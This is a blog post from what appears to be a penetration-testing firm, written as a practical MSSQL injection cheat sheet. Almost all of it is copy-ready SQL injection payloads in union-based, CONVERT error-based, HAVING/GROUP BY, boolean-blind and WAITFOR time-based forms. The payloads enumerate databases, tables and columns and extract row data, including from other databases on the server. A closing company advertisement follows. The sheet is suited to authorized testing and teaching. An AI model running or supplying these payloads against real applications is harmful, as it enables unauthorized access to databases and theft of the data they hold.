London: 020 0200 8142

MSSQL Practical Injection Cheat Sheet

Following on from my MySQL Injection Practical Cheat Sheet here is the MSSQL version.

As before, I will list the injections by their categories: union based, error based and inferential (time and boolean). Wherever you see @@version below (used to find the database version), you can replace it with:

 

db_name() – to extract database name
user_name() or user()- to extract the username the database runs under
@@servername – to extract the server name
host_name() – to extract the host name

 

Note that, in the below examples I am injecting into an integer field; for example, products.asp?id=1 <injection here>. As it’s an integer field I don’t need to use a single quote to close off the previous injection (this is usually the case for integer fields); however, if you’re injecting into a string field, be sure to use the quote!

 

UNION

 

UNION is used to append our malicious query onto the end of a valid query issued by the web application. Remember to find the number of columns first using ORDER BY or UNION with NULL values. Assuming there’s three columns:

 

Extract database version:

1 UNION SELECT NULL,@@version,NULL--

Extract database names (change N to a number starting from 1):

1 UNION SELECT NULL,DB_NAME(N),NULL--
1 UNION SELECT NULL,name,NULL FROM master ..sysdatabases--

 

Extract table names:

 

1 UNION SELECT NULL,TABLE_NAME,NULL FROM information_schema.TABLES--
1 UNION SELECT NULL,name,NULL FROM sysobjects WHERE xtype = 'U'--

Extract column names (replace table1):

 

1 UNION SELECT NULL,column_name,NULL FROM information_schema.COLUMNS-- will extract all columns (regardless of table)
1 UNION SELECT TABLE_NAME,column_name,NULL FROM information_schema.COLUMNS-- will line up tables with columns
1 UNION SELECT NULL,name,NULL FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'table1')-- will extract columns from a specific table in the current database

Extract data (change column1 and table1):

 

1 UNION SELECT NULL,column1,NULL FROM table1--

Extract table names from another database (replace other_database with database name)

 

1 UNION SELECT NULL,name,NULL FROM other_database..sysobjects WHERE xtype = 'U'--

Extract column names from another database (replace other_database and other_table):

 

1 UNION SELECT other_database..syscolumns.name, TYPE_NAME(other_database..syscolumns.xtype),NULL FROM other_database..syscolumns, other_database..sysobjects WHERE other_database..syscolumns.id=other_database..sysobjects.id AND other_database..sysobjects.name='other_table'--

Extract data from another database (replace other_database, other_table and other_column):

 

1 UNION SELECT NULL,other_column,NULL FROM other_database..other_table--

Error Based

CONVERT

 

This technique is very similar to the MySQL double query error based injection (discussed in my previouspost) in that an error is forced; however, a valid MSSQL query is included which gets executed first, leading to the results of the query being displayed in the error message. In the below examples, be sure to encode + with %2b if inputting directly into the address bar. There are two ways of performing this attack, with the first listed below being the quickest.

 

Method 1 – Quicker

 

Extract database version:

 

1 AND 1=CONVERT(INT,@@version)--

Extract number of databases:

 

1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )+CHAR(58)+CHAR(58)))--

Extract database names (replace N with a number starting from 1):

1 AND 1=CONVERT(INT,db_name(N))--
1 AND 1=CONVERT(INT,(SELECT CAST(name AS nvarchar(4000)) FROM master..sysdatabases WHERE dbid=N))--

Extract table count:

1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM information_schema.TABLES )+CHAR(58)+CHAR(58)))--

Extract table names (replace N with a number starting from 1):

1 AND 1= CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top N TABLE_NAME FROM information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)+CHAR(58)))--

To extract column names (replace table1 with appropriate table name):

1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top N column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1' ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58)))--

To extract data, first count the entries in the table (replace table1 with appropriate table name):

1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM table1)+CHAR(58)+CHAR(58)))--

 

Then, assuming the columns we wish to extract from are called column1 and column2:

1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 column1+CHAR(58)+column2 FROM (SELECT top 1 column1 , column2 FROM table1 ORDER BY column1  ASC) sq ORDER BY column1  DESC)+CHAR(58)+CHAR(58)))--

The second top 1 should be incremented to extract subsequent rows:

1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 column1+CHAR(58)+column2 FROM (SELECT top 2 column1, column2 FROM table1 ORDER BY column1 ASC) sq ORDER BY column1 DESC)+CHAR(58)+CHAR(58)))--

Extract tables from another database (change other_database and increase N):

1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top N TABLE_NAME FROM other_database.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)+CHAR(58)))--

Extract columns from another database (change other_database, other_table and increase N):

1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top N column_name FROM other_database.information_schema.COLUMNS WHERE TABLE_NAME='other_table' ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58)))--

See how many data entries there are in another database (change other_database and other_table):

 1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM [other_database]..[other_table] )+CHAR(58)+CHAR(58)))--

Extract data from another database (change other_database, other_table, other_column and increase N):

 

 1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 other_column FROM (SELECT top N other_column FROM other_database..other_table ORDER BY other_column ASC) sq ORDER BY other_column DESC)+CHAR(58)+CHAR(58)))--

Method 2 – Slower

 

Extract database names (replace N with a number starting from 1):

 

1 AND 1=CONVERT(INT,db_name(N))--

Extract first table name:

 

1 AND 1=CONVERT(INT,(SELECT top 1 TABLE_NAME FROM information_schema.TABLES))--

As this had extracted the first table’s name (table1 in the example below), we add that to the query to enumerate the next table, like so:

1 AND 1=CONVERT(INT,(SELECT top 1 TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME NOT IN ('table1')))--

Further tables can then be enumerated by adding table names to the query. The following query would extract the third table name:

 

1 AND 1=CONVERT(INT,(SELECT top 1 TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME NOT IN ('table1', 'table2')))--

Columns are then enumerated in the same manner as before (replace table1):

1 AND 1=CONVERT(INT,(SELECT top 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'))--
1 AND 1=CONVERT(INT,(SELECT top 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1' AND column_name NOT IN ('column1')))--
1 AND 1=CONVERT(INT,(SELECT top 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1' AND column_name NOT IN ('column1', 'column2')))--

Extract data (replace column1 and table1):

1 AND 1=CONVERT(INT,(SELECT top 1 column1 FROM table1))--
1 AND 1=CONVERT(INT,(SELECT top 1 column1 FROM table1 WHERE column1 NOT IN ('result1')))--
1 AND 1=CONVERT(INT,(SELECT top 1 column1 FROM table1 WHERE column1 NOT IN ('result1', 'result2')))--

HAVING and GROUP BY

 

Some basic enumeration of the current database can be performed by forcing errors through the use ofHAVING and GROUP BY.

 

1 HAVING 1=1--

Will reveal the current table and the first column name in a table_name.column_name format.

 

The second column name can be enumerated with:

 

1 GROUP BY table1.column1 HAVING 1=1--

The second column name can then be added to the query to reveal the third column name:

 

1 GROUP BY table1.column1, table1.column2 HAVING 1=1--

If the page no longer errors when adding columns, there are none left to enumerate.

 

Inferential

 

When no data or error messages are returned, inferential injections (aka blind injections) can be used to ‘infer’ database information by using time based or boolean responses. This is done by using theSUBSTRING function to break up query results into individual characters which can be enumerated separately. The characters are entered using the ASCII function via their decimal codes, which can be ascertained by using this ASCII chart. The LOWER function is also used to ensure we only have to deal with lower case characters (up until the point of actual data retrieval).

 

In the case of time delay injections, thus, we are effectively asking the database: “if the first character of the database user’s name is S, wait 10 seconds before returning the page”. If the first character is not S, the page will return immediately. In the case of boolean injections, the expected page will return if the query evaluates to true and a differing page will return if the query evaluates to false.

 

When making inferential injections, it’s often useful to determine how many characters are in the piece of data you’re trying to extract. In MSSQL, this can be achieved by wrapping the injection in LEN .

 

Boolean

 

Extract version length:

 

1 AND LEN(@@version)&gt;5--

Extract first character of version:

1 AND ASCII(LOWER(SUBSTRING((@@version),1,1)))&gt;97--

By increasing the SUBSTRING start argument, you can extract the second character in the version, like so:

1 AND ASCII(LOWER(SUBSTRING((@@version),2,1)))&gt;97--

Extract databases (replace N):

 

1 AND LEN(DB_NAME())&gt;5--
1 AND ASCII(LOWER(SUBSTRING((DB_NAME(N)),1,1)))&gt;97--

Extract 1st table:

 

1 AND LEN((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U'))&gt;5--
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U'),1,1)))&gt;97--

Extract 2nd table (replace table1 with the first table’s name):

 

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U' AND name &gt;'table1'),1,1)))&gt;97--

Extract 3rd table (replace table2 with the second table’s name):

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U' AND name&gt;'table2'),1,1)))&gt;97--

Extract 1st column (replace table1):

 

1 AND LEN((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'))&gt;5--
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'),1,1)))&gt;97--

Extract 2nd column (replace table1 and column1):

 

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1' AND column_name &gt;'column1'),1,1)))&gt;97--

Extract 1st field of column1 (replace column1 and table1):

 

1 AND LEN((SELECT TOP 1 column1 FROM table1))&gt;5--
1 AND ASCII(SUBSTRING((SELECT TOP 1 column1 FROM table1),1,1))&gt;65--

Extract 1st field of column2 (replace column1 and table1):

1 AND LEN((SELECT TOP 1 column2 FROM table1))&gt;5--
1 AND ASCII(SUBSTRING((SELECT TOP 1 column2 FROM table1),1,1))&gt;65--

 

Extract 2nd field of column1 (replace column1,table1 and field1):

1 AND ASCII(SUBSTRING((SELECT TOP 1 column1 FROM table1 WHERE column1 &gt;'field1'),1,1))&gt;65--

Extract table 1 from another database (replace other_database)

 

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM other_database..sysobjects WHERE xtype='U'),1,1)))&gt;97--

Extract 1st column from another database (replace other_database and other_table):

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM other_database.information_schema.COLUMNS WHERE TABLE_NAME='other_table'),1,1)))&gt;97--

Extract data from another database (replace other_database, other_table and other_column):

 

1 AND ASCII(SUBSTRING((SELECT TOP 1 other_column FROM other_database..other_table),1,1))&gt;65--

Time
Time based MSSQL injections use the WAITFOR function to produce an attacker specified delay in page loading if the query given evaluates to true.
Extract version:

1; IF LEN(@@version)&gt;5 WAITFOR DELAY '00:00:15'--
1; IF ASCII(LOWER(SUBSTRING((@@version),1,1)))&gt;97 WAITFOR DELAY '00:00:15'--

 

Extract DB Name (replace N):

 

1; IF(LEN(DB_NAME())&gt;5 WAITFOR DELAY '00:00:15'--
1; IF ASCII(LOWER(SUBSTRING((DB_NAME(N)),1,1)))&gt;97 WAITFOR DELAY '00:00:15'--

Extract 1st table:

 

1; IF (LEN((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U'))&gt;5) WAITFOR DELAY '00:00:15'--
1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U'),1,1)))&gt;97 WAITFOR DELAY '00:00:15'--

Extract 2nd table (replace table1):

 

1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U' AND name&gt;'table1'),1,1)))&gt;97 WAITFOR DELAY '00:00:15'--

Extract 3rd table (replace table2):

 

1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U' AND name&gt;'table2'),1,1)))&gt;97 WAITFOR DELAY '00:00:15'--

To extract 1st column (replace table1):

 

1; IF LEN((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'))&gt;5 WAITFOR DELAY '00:00:15'--
1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'),1,1)))&gt;97 WAITFOR DELAY '00:00:15'--

To extract 2nd column (replace table1 and column1):

 

1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'  AND column_name &gt;'column1' ),1,1)))&gt;97 WAITFOR DELAY '00:00:15'--

Extract 1st field of column 1 (replace table1 and column1):

 

1; IF LEN((SELECT TOP 1 column1 FROM table1))&gt;5 WAITFOR DELAY '00:00:15'--
1; IF ASCII(SUBSTRING((SELECT TOP 1 column1 FROM table1),1,1))&gt;65 WAITFOR DELAY '00:00:15'--

Extract 1st field of column 2 (replace table1 and column1):

 

1; IF LEN((SELECT TOP 1 column2 FROM table1))=3 WAITFOR DELAY '00:00:15'--
1; IF ASCII(SUBSTRING((SELECT TOP 1 column2 FROM table1),1,1))&gt;65 WAITFOR DELAY '00:00:15'--

Extract 2nd field of column 1 (replace column1,table1 and field1):

1; IF ASCII(SUBSTRING((SELECT TOP 1 column1 FROM table1 WHERE column1 &gt;'field1'),1,1))&gt;65 WAITFOR DELAY '00:00:15'--

Extract 1st table from another database (replace other_database):

 

1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM other_database..sysobjects WHERE xtype='U'),1,1)))=117 WAITFOR DELAY '00:00:15'--

Extract 1st column from another database (replace other_database and other_table):

 

1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM other_database.information_schema.COLUMNS WHERE TABLE_NAME='table1'),1,1)))&gt;97 WAITFOR DELAY '00:00:15'--

Extract 1st field of column 1 from another database (replace other_database, other_table and other_column):

 

1; IF (ASCII(SUBSTRING((SELECT TOP 1 other_column FROM other_database..other_table),1,1))&gt;65) WAITFOR DELAY '00:00:15'--

Sources Used

The above information was took from a variety of sources, including:
Kaotic Creation’s article on blind SQL injections
Kaotic Creation’s article on CONVERT error based injections
Pentest Monkey’s MSSQL injection cheat sheet
CWH Underground’s ‘Full MSSQL Injection PWNage’ paper

 

Some other resources I recommend are:
Acuforum – an online vulnerable web app hosted by Acunetix
SQLZoo – a great online test bed

We are Perspective Risk

  • Information security is crucial to every aspect of your business – operational efficiency, profitability, business continuity, customer confidence, brand loyalty, protection against fraud and meeting regulatory requirements.

    Our penetration testing, pen testing, pen tests and cyber security testing has proven time and time again to be an effective security assessment of business IT infrastructure.

    Perspective Risk provides in-depth security assessments, risk management and compliance solutions to help you keep your confidential information safe and your critical systems secure. We’re innovative, flexible and supportive, helping you through any information security issues to deliver real business benefits and excellent value.

  • Call Me

    Pop your details in below and we’ll be in touch soon!

    • This field is for validation purposes and should be left unchanged.

    ×
    Get Quote
    • This field is for validation purposes and should be left unchanged.
    ×